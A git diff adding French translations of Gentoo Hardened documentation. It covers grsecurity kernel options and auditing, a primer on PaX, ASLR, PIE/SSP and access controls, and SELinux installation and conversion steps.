+<comment>(Activer la fonctionnalité exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 1</i>
+<comment>(Désactiver la fonctionnalité exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 0</i>
+</pre>
+
+<p>
+Une option très importante de sysctl appartenant à grsecurity&nbsp;:
+<c>kernel.grsecurity.grsec_lock</c>. Quand elle est activée, vous ne pouvez
+plus changer aucune option.
+</p>
+
+<pre caption="Protéger l'interface sysctl">
+# <i>sysctl -w kernel.grsecurity.grsec_lock = 1</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Auditer le noyau</title>
+<section>
+<title>Étendre votre possibilités de journalisation du système</title>
+<body>
+
+<p>
+grsecurity ajoute une fonctionnalité supplémentaire au noyau appartenant à la
+journalisation. Avec l'<e>audit de noyau</e> de grsecurity, le noyau vous
+informera quand les applications sont exécutées, les périphériques (dé)montés,
+etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Les différentes options d'audit du noyau</title>
+<body>
+
+<p>
+La section de configuration du noyau suivante peut être utilisée pour activer
+les options d'audit du noyau de grsecurity&nbsp;:
+</p>
+
+<pre caption="Activation de l'audit du noyau">
+<comment>#
+# Kernel Auditing
+#
+# CONFIG_GRKERNSEC_AUDIT_GROUP is not set</comment>
+CONFIG_GRKERNSEC_EXECLOG=y
+CONFIG_GRKERNSEC_RESLOG=y
+CONFIG_GRKERNSEC_CHROOT_EXECLOG=y
+CONFIG_GRKERNSEC_AUDIT_CHDIR=y
+CONFIG_GRKERNSEC_AUDIT_MOUNT=y
+CONFIG_GRKERNSEC_AUDIT_IPC=y
+CONFIG_GRKERNSEC_SIGNAL=y
+CONFIG_GRKERNSEC_FORKFAIL=y
+CONFIG_GRKERNSEC_TIME=y
+CONFIG_GRKERNSEC_PROC_IPADDR=y
+CONFIG_GRKERNSEC_AUDIT_TEXTREL=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Restrictions des processus</title>
+<section>
+<title>Protection des fichiers exécutables</title>
+<body>
+
+<p>
+Avec grsecurity vous pouvez restreindre les exécutables. Dans la mesure où la
+plupart des exploitations de failles fonctionnent à l'aide d'un ou plusieurs
+processus en exécution cette protection peut préserver la santé de votre
+système.
+</p>
+
+</body>
+</section>
+<section>
+<title>Protection du réseau</title>
+<body>
+
+<p>
+La pile TCP/IP de Linux est vulnérable aux attaques basées sur la prédiction.
+Grsecurity propose des correctifs utilisant des procédés aléatoires pour
+contrer ces attaques. En plus de cela, vous pouvez également activer des
+restrictions sur les sockets, interdisant l'accès au réseau à certains groupes.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuration du noyau</title>
+<body>
+
+<p>
+Les options du noyau présentées ci-dessous activent plusieurs protections sur
+les exécutables et le réseau&nbsp;:
+</p>
+
+<pre caption="Configuration du noyau">
+<comment>#
+# Executable Protections
+#</comment>
+CONFIG_GRKERNSEC_EXECVE=y
+CONFIG_GRKERNSEC_DMESG=y
+CONFIG_GRKERNSEC_RANDPID=y
+CONFIG_GRKERNSEC_TPE=y
+CONFIG_GRKERNSEC_TPE_ALL=y
+CONFIG_GRKERNSEC_TPE_GID=100
+
+<comment>#
+# Network Protections
+#</comment>
+CONFIG_GRKERNSEC_RANDNET=y
+CONFIG_GRKERNSEC_RANDISN=y
+CONFIG_GRKERNSEC_RANDID=y
+CONFIG_GRKERNSEC_RANDSRC=y
+CONFIG_GRKERNSEC_RANDRPC=y
+<comment># CONFIG_GRKERNSEC_SOCKET is not set</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>L'ensemble d'outils « Hardened »</title>
+<section>
+<body>
+
+<p>
+Même si ce n'est pas dans l'objectif de ce document, nous mentionnons
+l'utilisation de l'ensemble des outils «&nbsp;hardened&nbsp;» qui complète le
+modèle grsec/PaX du côté de l'espace utilisateur. Pour commencer rapidement,
+vous pouvez exécuter les commandes suivantes&nbsp;:
+</p>
+
+<pre caption="Utiliser les outils proposés par le projet hardened">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i>
+# <i>emerge -e world</i>
+</pre>
+
+<p>
+Si vous n'avez pas envie d'utiliser ce profil ajoutez les paramètres USE
+<c>hardened pic pie</c> à votre variable USE dans le fichier
+<path>/etc/make.conf</path>. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ressources</title>
+<section>
+<body>
+
+<ul>
+  <li><uri link="http://grsecurity.net/">Page du projet grsecurity</uri>&nbsp;;
+  </li>
+  <li>
+    <uri link="http://forums.grsecurity.net/">Forums de
+    grsecurity</uri>&nbsp;;
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/researchpaper.pdf">Augmenter les
+    performances et la granularité dans un système RBAC</uri>&nbsp;;
+  </li>
+  <li>
+    <uri link="/proj/en/hardened/capabilities.xml">Noms et descriptions des
+    fonctionnalités</uri>&nbsp;;
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/quickstart.pdf">Guide de démarrage rapide
+    pour grsecurity</uri> (nouveau .pdf)&nbsp;;
+  </li>
+
+  <li>
+    <uri link="/proj/en/hardened/pax-quickstart.xml">Guide
+    de démarrage rapide pour PaX sous Gentoo</uri> (nouveau)&nbsp;;
+  </li>
+  <li>
+    <uri link="grsecurity.xml">grsecurity avec un
+    système MAC pour Gentoo 1.9.x</uri> (ancien guide)&nbsp;;
+  </li>
+  <li>
+   <uri link="http://grsecurity.net/PaX-presentation_files/frame.htm">PaX&nbsp;:
+   La garantie de la fin de l'exécution arbitraire de code</uri>&nbsp;;
+  </li>
+  <li>
+    <uri link="http://pax.grsecurity.net">Site de PaX et
+    documentation</uri>&nbsp;;
+  </li>
+  <li>
+   <uri link="/proj/en/infrastructure/tenshi">Tenshi</uri>.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/fr/hardened/primer.xml b/xml/htdocs/proj/fr/hardened/primer.xml
new file mode 100644
index 00000000..f2ddc01c
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/primer.xml
@@ -0,0 +1,282 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/primer.xml,v 1.4 2009/08/18 14:05:10 titefleur Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/fr/hardened/primer.xml" lang="fr">
+
+<title>Introduction à Hardened Gentoo</title>
+
+<author title="Auteur">
+  <mail link="method@gentoo.org">Joshua Brindle</mail>
+</author>
+<author title="Participant">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Correcteur">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Traducteur">
+  <mail link="ac007@bluewin.ch">Alexandre</mail>
+</author>
+
+<abstract>Une introduction à Hardened Gentoo.</abstract>
+<license/>
+
+<version>1.2</version>
+<date>2007-02-07</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+Ce guide est conçu pour clarifier les différents aspects du projet Hardened
+Gentoo (Gentoo sécurisé), expliquer leurs usages complémentaires et détailler
+leurs rôles respectifs dans le projet.
+</p>
+
+<p>
+Le principe de sécurité que nous mettons en œuvre est le principe de la
+sécurité par couches. Ce principe est fondamental pour assurer qu'une machine
+ne puisse être compromise et, si elle l'est, pour minimiser les dégâts. En
+combinant une série de technologies de sécurité différentes, nous obligeons un
+intrus à franchir plusieurs obstacles avant qu'il ne soit en mesure de
+compromettre un système. Pour cette raison nous recommandons toujours que vous
+déterminiez vos besoins spécifiques et qu'en fonction de ces besoins vous
+combiniez ces solutions pour protéger votre système. Dans ce document, nous
+allons essayer de vous expliquer ces options et de quelle manière elles peuvent
+se combiner.
+</p>
+
+<p> 
+Hardened Gentoo, en soi, n'est pas un produit ou une solution. Il s'agit
+simplement d'un projet regroupant des développeurs travaillant tous dans un
+même but&nbsp;: la sécurité active. Les sous-projets qui composent Hardened
+Gentoo n'ont d'autres liens, entre eux, que d'appartenir au projet principal.
+Vous pouvez vous représenter de la même manière KDE et GNOME qui sont tous deux
+des projets de gestionnaire de bureau&nbsp;: Ils ont un but commun, mais ne
+sont pas liés entre eux.
+</p> 
+
+<note> 
+Demander de l'aide pour l'installation de votre machine «&nbsp;Hardened
+Gentoo&nbsp;» est, par conséquent, trop imprécis. Une demande devra toujours
+spécifier que vous avez un problème avec SELinux, PIE/SSP, etc.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Technologies offertes</title>
+<section>
+<title>PaX</title>
+<body>
+
+<p>
+PaX est au cœur du projet. PaX est un correctif (patch) du noyau qui permet de
+se protéger contre les dépassements de tampons et de tas (buffer et heap
+overflows) et contre les attaques similaires. PaX est votre première ligne de
+défense.
+</p>
+
+<p>
+En raison de la mauvaise conception de certains logiciels, vous êtes en
+permanence susceptibles d'être attaqué par dépassement de tampon ou de tas.
+Les dépassements de tampons et de tas peuvent être exploités lorsque des
+applications ne vérifient pas les limites des données saisies par
+l'utilisateur. Lorsqu'un intrus, par le biais d'une application, a la
+possibilité d'insérer des données directement en mémoire, sans qu'elles soient
+vérifiées par l'application, il y a risque de dépassement. Des langages de
+programmation bas niveau tels que C et C++ ne protègent pas automatiquement
+contre les dépassements. Il en résulte que lorsqu'un tampon est dépassé, le
+code adjacent peut être récrit par les données saisies par l'utilisateur.  Cela
+devrait provoquer un crash de l'application si le code saisi par l'utilisateur
+n'est pas «&nbsp;compris&nbsp;» par la machine. Cela se manifeste généralement
+par une erreur de pagination (page fault) parce que les caractères qui
+dépassent le tampon et entrent dans la zone de l'exécutable sont traités comme
+des adresses qui n'existent (probablement) pas. C'est le résultat le plus bénin
+d'un dépassement.
+</p>
+
+<p>
+Toutefois, si l'attaquant connaît une faille de ce type, il aura l'opportunité
+d'ajouter du shellcode à sa saisie et, plutôt que de provoquer un crash de
+l'application, la machine exécutera les instructions fournies dans la portion
+«&nbsp;dépassante&nbsp;» des données saisies. Le shellcode le permet puisque
+c'est de cette manière que les instructions sont stockées en mémoire pour être
+exécutées par le processeur. Le shellcode se compose d' «&nbsp;opcodes&nbsp;»
+qui se traduisent par des routines en assembleur. Un attaquant connaît ces «
+opcodes » sur le bout des doigts et peut créer du shellcode qui lui permet de
+faire tout ce qu'il veut&nbsp;; par exemple&nbsp;: exécuter un shell en tant
+que root et l'attacher à un port.  Lorsque cela se produit, l'utilisateur
+légitime ne s'en aperçoit pas puisque l'application ne crash pas et le code
+arbitraire de l'attaquant lui permet alors de faire ce qu'il souhaite. PaX
+permet de mitiger ce problème en plaçant en mémoire, de manière aléatoire,
+chaque fonction et tampon des applications.  Cela s'appelle ASLR ou Address
+Space Layout Randomization (couche d'espace d'adresse aléatoire) et c'est la
+pierre angulaire de PaX. En attribuant les espaces mémoire de manière aléatoire
+pour toutes les fonctions et tampons, l'attaquant est incapable de produire une
+saisie qui garantit que son shellcode sera exécuté (ce qui rend sa tâche très
+difficile puisque l'application crashera probablement et qu'elle sera
+redémarrée dans d'autres espaces mémoire choisis aléatoirement). ASLR est plus
+utile quand il est utilisé avec du code PIE (Position Independent Executable),
+mais il fonctionne également avec du code standard ce qui impose, toutefois,
+une charge supplémentaire au système.
+</p>
+
+<p>
+PaX offre également la possibilité aux segments exécutables d'être exécutables,
+mais sans accès en écriture ou avec accès en écriture, mais non exécutable.
+Cela s'appelle pageexec. Il n'est pas possible de réaliser cela au niveau
+matériel sur les processeurs à base de x86 étant donné que les concepteurs de
+cette architecture, pour gagner de la place, ont rassemblé les deux indices
+«&nbsp;exécutable&nbsp;» et «&nbsp;accès en écriture&nbsp;» en un seul indice.
+Puisque qu'une «&nbsp;page&nbsp;» devrait avoir soit l'accès en écriture, soit
+l'accès en lecture et en exécution, il ne sert à rien de paramétrer les tampons
+en «&nbsp;non exécutables&nbsp;» puisqu'on ne pourrait alors plus les lire. Par
+conséquent, sur les architectures à base de x86, PaX émule ce comportement au
+niveau logiciel, ce qui induit une charge supplémentaire sur le système, mais
+est une aide précieuse pour la sécurité.
+</p>
+
+</body>
+</section>
+<section>
+<title>PIE/SSP</title>
+<body>
+
+<p>
+PIE et SSP (Stack Smashing Protection - Protection contre la corruption de
+pile) sont généralement groupés dans les discussions parce qu'ils font partie
+de la même chaîne d'outils «&nbsp;hardened&nbsp;». Cependant, afin de clarifier
+les choses, PIE et SSP ont des technologies et des objectifs différents. PIE
+seul n'apporte aucune amélioration à la sécurité mais, lorsqu'il est combiné
+avec PaX dans le noyau, c'est un outil puissant contre les dépassements. SSP
+est entièrement implémenté dans le domaine utilisateur et protège contre les
+attaques stack smashing sans l'assistance du noyau. Puisqu'ils sont implémentés
+séparément et qu'ils n'agissent pas au même niveau, ils représentent deux
+couches de protection. Par exemple, une attaque nommée ret2libc pourrait passer
+PaX sans encombre, mais serait bloquée par SSP.
+</p>
+
+<p>
+Nous avons déployé de grands efforts pour fournir aux utilisateurs une manière
+facile de construire l'espace utilisateur avec du code PIE afin de bénéficier
+de l'ASLR avec très peu de surcharge sur le système. En plus de PIE, notre
+chaîne d'outils «&nbsp;hardened&nbsp;» fournit également SSP. SSP protège
+contre les attaques stack smashing en allouant un espace en dehors des tampons
+et en lui attribuant un «&nbsp;canari&nbsp;» (un marqueur) aléatoire et crypté.
+Si le canari a été écrasé après une écriture sur le tampon, SSP sera alors en
+mesure de le détecter et de tuer l'application exploitée. La chaîne
+«&nbsp;hardened&nbsp;» offre aux utilisateurs un espace utilisateur PIE/SSP de
+la manière la plus facile qui soit. Les «&nbsp;stages&nbsp;» estampillés
+«&nbsp;hardened&nbsp;» sont des stages standards construits avec PIE et SSP. Ils
+n'incluent pas les contrôles d'accès SELinux/RSBAC/grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contrôles d'accès obligatoires</title>
+<body>
+
+<p>
+PaX est sans doute la première couche de protection, peut-être la deuxième ou
+la troisième si vous avez un firewall et/ou une solution de détection
+d'intrusion réseau. Il est également recommandé d'utiliser le contrôle des
+accès pour améliorer la sécurité de votre système. Il est très important que
+vous vous représentiez le contrôle des accès comme la <b>dernière</b> couche de
+protection. Le contrôle des accès est très utile pour contenir un attaquant
+ayant déjà accès à votre système ou à vos utilisateurs locaux. Actuellement,
+«&nbsp;Hardened Gentoo&nbsp;» supporte 3 solutions de contrôle des accès&nbsp;:
+SELinux, grsecurity et RSBAC.
+</p>
+
+<p>
+Si vous souhaitez utiliser grsecurity, vous n'avez pas à vous soucier des
+stages puisque grsecurity ne requiert aucune modification de l'espace
+utilisateur. Utilisez simplement les stages «&nbsp;hardened&nbsp;» et, une fois
+que vous serez prêt à construire le noyau, utilisez un noyau compatible
+grsecurity tel que «&nbsp;hardened-sources&nbsp;». Une fois que votre système
+est fonctionnel vous pouvez utiliser le mode d'apprentissage de grsecurity pour
+construite les ACL's pour votre système.
+</p>
+
+<p>
+De même que grsecurity, RSBAC ne requiert pas de modifications dans l'espace
+utilisateur, mais peut, en revanche, être installé après une installation
+Gentoo normale. RSBAC est supporté par le noyau «&nbsp;rsbac-sources&nbsp;».
+Une fois que votre système est fonctionnel vous pouvez choisir parmi les
+différents modèles de contrôle d'accès RSBAC puisqu'ils se présentent tous sous
+la forme de modules.  La documentation Gentoo de RSBAC liste les différents
+modèles offerts et donne plus d'information sur chacun d'eux.
+</p>
+
+<p>
+Nous avons donc parlé des deux couches de protection que nous offrons. Nous
+avons l'intention d'en fournir plus dans le futur. Des exemples de couches
+supplémentaires sont la détection/prévention d'intrusion qui deviendrait alors
+la première couche, avant même PaX&nbsp;; Le cryptage de disques et des
+partitions d'échange (swap) qui permet une protection contre les failles
+«&nbsp;physiques&nbsp;»; Les audits, qui permettent de détecter et d'agir selon
+les risques, avant qu'il ne se transforment en «&nbsp;système compromis&nbsp;».
+Le cryptage des flux réseau et l'authentification forte sont des couches qui
+sont fort bien supportées par Linux en standard et qui ne seront probablement
+pas abordées ici.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ressources</title> 
+<section>
+<body>
+
+<table>
+<tr>
+  <th>Projet</th>
+  <th>Page d'accueil du projet</th>
+  <th>Page du projet Gentoo</th>
+</tr>
+<tr>
+  <ti>PaX</ti>
+  <ti>
+    <uri>http://pax.grsecurity.net</uri>
+  </ti>
+  <ti>
+    <uri link="/proj/en/hardened/pax-quickstart.xml">Hardened Gentoo PaX
+    Quickstart</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>PIE</ti>
+  <ti>Non disponible</ti>
+  <ti>Non disponible</ti>
+</tr>
+<tr>
+  <ti>SSP</ti>
+  <ti><uri>http://www.trl.ibm.com/projects/security/ssp/</uri></ti>
+  <ti>Non disponible</ti>
+</tr>
+<tr>
+  <ti>SELinux</ti>
+  <ti><uri>http://www.nsa.gov/selinux</uri></ti>
+  <ti><uri link="/proj/en/hardened/selinux/">SELinux</uri>
+</ti>
+</tr>
+<tr>
+  <ti>grsecurity</ti>
+  <ti><uri>http://www.grsecurity.net</uri></ti>
+  <ti><uri link="/proj/fr/hardened/grsecurity2.xml">Guide Gentoo Grsecurity
+  version 2</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-install.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-install.xml
new file mode 100644
index 00000000..29697e50
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-install.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-install.xml,v 1.1 2009/02/23 22:06:07 cam Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2006-04-26</date>
+
+<section>
+<title>Installation de Gentoo SELinux</title>
+<subsection>
+<body>
+
+<warn>
+Pour le moment, SELinux n'est supporté que sur les serveurs. Les stations de
+travail seront supportées plus tard.
+</warn>
+
+<p>
+La procédure d'installation d'un système Gentoo SELinux est identique à celle
+d'un système Gentoo normal. Suivez simplement les instructions décrites dans le
+<uri link="/doc/fr/handbook/index.xml">Manuel Gentoo</uri> en tenant compte des
+remarques qui suivent. Le système sera par la suite converti en SELinux grâce
+au <uri link="?part=2">Guide de conversion vers SELinux</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Remarques concernant l'installation</title>
+<subsection>
+<title>Les systèmes de fichiers</title>
+<body>
+
+<p>
+Seuls ext2, ext3, JFS et XFS sont supportés pour le moment.
+</p>
+
+<p>
+Les utilisateurs de XFS doivent utiliser des inodes de 512&nbsp;octets plutôt
+que la taille par défaut de 256&nbsp;octets. SELinux utilise les attributs
+étendus pour stocker les étiquettes de sécurité des fichiers, mais, comme XFS
+les place dans l'inode, si l'inode est trop petit, un bloc supplémentaire sera
+utilisé rien que pour stocker les étiquettes, ce qui gaspillera beaucoup
+d'espace disque et ralentira le système à cause des opérations supplémentaires pour chaque fichier.
+</p>
+
+<pre caption="Exemple de création de système de fichiers XFS">
+# <i>mkfs.xfs -i size=512 /dev/hda3</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Le noyau</title>
+<body>
+
+<warn>
+SELinux ne supporte pas XFS avec les noyaux 2.6.14 et 2.6.15.
+</warn>
+
+<p>
+Vous pouvez regarder de suite la partie de ce guide qui concerne les <uri
+link="?part=2&amp;chap=2#doc_chap2">options à activer pour avoir SELinux</uri>,
+afin de ne pas recompiler plusieurs fois votre noyau inutilement.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-profile.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-profile.xml
new file mode 100644
index 00000000..866589f6
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-profile.xml
@@ -0,0 +1,137 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://createivecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-profile.xml,v 1.1 2009/02/23 22:12:21 cam Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2007-07-22</date>
+
+<section>
+<title>Changer le profil Gentoo</title>
+<subsection>
+<body>
+
+<warn>
+SELinux n'est supporté qu'avec ext2/3, XFS ou JFS. Les autres systèmes de
+fichiers ne gèrent pas les attributs étendus, une fonctionnalité requise par
+SELinux.
+</warn>
+
+<warn>
+Vous devez commencer par migrer au moins vers le profil 2006.1 (ou plus récent)
+sous peine d'observer des résultats imprévisibles.
+</warn>
+
+<impo>
+Comme d'habitude, conservez un LiveCD sous la main au cas où quelque chose se
+passerait mal.
+</impo>
+
+<p>
+Tout d'abord, basculez vers le profil SELinux de votre architecture&nbsp;:
+</p>
+
+<pre caption="Changer de profil">
+# <i>rm -f /etc/make.profile</i>
+
+<comment>x86 :</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/x86 /etc/make.profile</i>
+<comment>x86 (hardened) :</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/x86/hardened /etc/make.profile</i>
+<comment>AMD64 :</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/amd64 /etc/make.profile</i>
+<comment>AMD64 (hardened) :</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/amd64/hardened /etc/make.profile</i>
+<comment>PPC :</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/ppc /etc/make.profile</i>
+<comment>SPARC64 :</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/sparc64 /etc/make.profile</i>
+</pre>
+
+<impo>
+N'utilisez aucun autre profil qu'un de ceux listés ci-dessus même s'ils vous
+semblent périmés. De nouveaux profils SELinux ne sont pas forcément créés aussi
+souvent que les profils Gentoo par défaut.
+</impo>
+
+<impo>
+Le profil SELinux a considérablement moins de paramètres USE activés que le
+profil par défaut. Utilisez <c>emerge --info</c> pour vérifier si certains
+paramètres USE doivent être réactivés dans votre <path>make.conf</path>.
+</impo>
+
+<note>
+Il n'est pas nécessaire d'ajouter le paramètre USE selinux puisque le profil
+SELinux s'en charge à votre place.
+</note>
+
+<note>
+Vous pourriez rencontrer ce message de Portage&nbsp;: «&nbsp;!!! SELinux module
+not found.  Please verify that it was installed.&nbsp;» C'est normal, on s'en
+occupera plus tard.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Mise à jour des en-têtes du noyau</title>
+<subsection>
+<body>
+
+<p>
+Nous allons commencer par mettre à jour les paquets essentiels. Tout d'abord,
+vérifiez la version des en-têtes du noyau qui sont installés.
+</p>
+
+<pre caption="Vérifier la version des en-têtes du noyau">
+# <i>emerge -s linux-headers</i>
+<comment>(ou bien, si vous avez installé gentoolkit)</comment>
+# <i>equery list -i linux-headers</i>
+</pre>
+
+<p>
+Si la version des en-têtes est inférieure à 2.4.20, vous devrez les mettre à
+jour.
+</p>
+
+<pre caption="Mise à jour des en-têtes du noyau">
+# <i>emerge \>=sys-kernel/linux-headers-2.4.20</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Mise à jour de la Glibc</title>
+<subsection>
+<body>
+
+<p>
+Si vous venez de mettre à jour les en-têtes du noyau ou bien si vous n'êtes pas
+sûr que votre Glibc ait été compilée avec des en-têtes suffisamment récents,
+vous devez absolument la mettre à jour.
+</p>
+
+<pre caption="Recompilation de la Glibc">
+# <i>emerge glibc</i>
+</pre>
+
+<impo>
+C'est une étape critique. La Glibc <b>doit</b> être compilée avec des en-têtes
+Linux suffisamment récents ou bien certaines opérations échoueront.
+</impo>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot1.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot1.xml
new file mode 100644
index 00000000..c517af23
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot1.xml
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://createivecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-conv-reboot1.xml,v 1.1 2009/02/23 22:17:34 cam Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2007-07-22</date>
+
+<section>
+<title>Installer un noyau SELinux</title>
+<subsection>
+<body>
+
+<p>
+Il est temps d'installer un noyau contenant SELinux. Un noyau 2.6 est requis,
+nous vous recommandons le paquet <c>hardened-sources</c>.
+</p>
+
+<warn>
+Les noyaux 2.6.14 et 2.6.15 ne doivent pas être utilisés par les utilisateurs
+de XFS car des bogues affectent le support XFS de SELinux.
+</warn>
+
+<pre caption="Installer un noyau contenant SELinux">
+<comment>(Ce doit forcément être un noyau 2.6.)</comment>
+# <i>emerge hardened-sources</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Compiler le noyau avec options SELinux</title>
+<subsection>
+<body>
+
+<p>
+Le noyau doit être compilé avec le support des modules de sécurité, de SELinux,
+de devpts et des étiquettes de sécurité des attributs étendus des systèmes de
+fichiers. Référez-vous au guide principal d'installation pour les autres
+options du noyau.
+</p>
+
+<pre caption="Location des options requises dans menuconfig">
+<comment>Dans « Code maturity level options »</comment>
+[*] Prompt for development and/or incomplete code/drivers
+
+<comment>Dans « General setup »</comment>
+[*] Auditing support
+[*]   Enable system-call auditing support
+
+<comment>Dans « File systems »</comment>
+&lt;*&gt; Second extended fs support <comment>(pour ext2)</comment>
+[*]   Ext2 extended attributes
+[ ]     Ext2 POSIX Access Control Lists
+[*]     Ext2 Security Labels
+&lt;*&gt; Ext3 journalling file system support <comment>(pour ext3)</comment>
+[*]   Ext3 extended attributes
+[ ]     Ext3 POSIX Access Control Lists
+[*]     Ext3 Security labels
+&lt;*&gt; JFS filesystem support <comment>(pour JFS)</comment>
+[ ]   JFS POSIX Access Control Lists
+[*]   JFS Security Labels
+[ ]   JFS debugging
+[ ]   JFS statistics
+&lt;*&gt; XFS filesystem support <comment>(pour XFS)</comment>
+[ ]   Realtime support (EXPERIMENTAL)
+[ ]   Quota support
+[ ]   ACL support
+[*]   Security Labels
+
+<comment>Dans « Pseudo filesystems » (via « File systems »)</comment>
+[ ] /dev file system support (EXPERIMENTAL)
+[*]   /dev/pts Extended Attributes
+[*]     /dev/pts Security Labels    
+[*] Virtual memory file system support (former shm fs)
+[*]   tmpfs Extended Attributes
+[*]     tmpfs Security Labels
+
+<comment>Dans « Security options »</comment>
+[*] Enable different security models
+[*]   Socket and Networking Security Hooks
+&lt;*&gt;   Default Linux Capabilities
+[*] NSA SELinux Support
+[ ]   NSA SELinux boot parameter
+[ ]   NSA SELinux runtime disable
+[*]   NSA SELinux Development Support
+[ ]   NSA SELinux AVC Statistics
+(1)   NSA SELinux checkreqprot default value
+[ ]   NSA SELinux enable new secmark network controls by default
+[ ]   NSA SELinux maximum supported policy format version
+</pre>
+
+<note>
+Les options disponibles peuvent très légèrement varier selon la version du
+noyau que vous utilisez. Les autres options des attributs étendus devraient
+être désactivées.
+</note>
+
+<p>
+Les étiquettes de sécurité des attributs étendus doivent être activées pour
+devpts et pour tous vos types de systèmes de fichiers. Devfs n'est pas
+utilisable avec SELinux et doit donc être désactivé. Certaines options
+n'existent pas dans les noyaux 2.6 plus vieux, telles que le support de l'audit
+ou «&nbsp;runtime disable&nbsp;». Dans les noyaux plus récents, le support des
+attributs étendus pour proc et tmps sont activés par défaut et l'option
+n'apparait pas dans le menuconfig.
+</p>
+
+<warn>
+N'activez pas l'option «&nbsp;SELinux MLS Policy&nbsp;» si elle est disponible,
+car elle n'est pas supportée et empêchera votre machine de démarrer.
+</warn>
+
+<p>
+Maintenant, compilez et installez votre noyau et ses modules. Ne redémarrez pas
+encore le système.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Mise à jour du fstab</title>
+<subsection>
+<body>
+
+<p>
+SELinuxFS doit également être monté au démarrage. Ajoutez cette ligne à votre
+<path>/etc/fstab</path>&nbsp;:
+</p>
+
+<pre caption="Activation du selinuxfs au démarrage">
+none	/selinux	selinuxfs	defaults	0	0
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Configurer Baselayout</title>
+<subsection>
+<body>
+
+<p>
+SELinux ne supporte pas Devfs. Vous devez configurer Baselayout afin qu'il
+utilise soit une arborescence statique de fichiers de périphériques, soit udev.
+Si vous souhaitez utiliser udev, l'archivage des fichiers périphériques doit
+être désactivé. Éditez le fichier <path>/etc/conf.d/rc</path>. Mettez
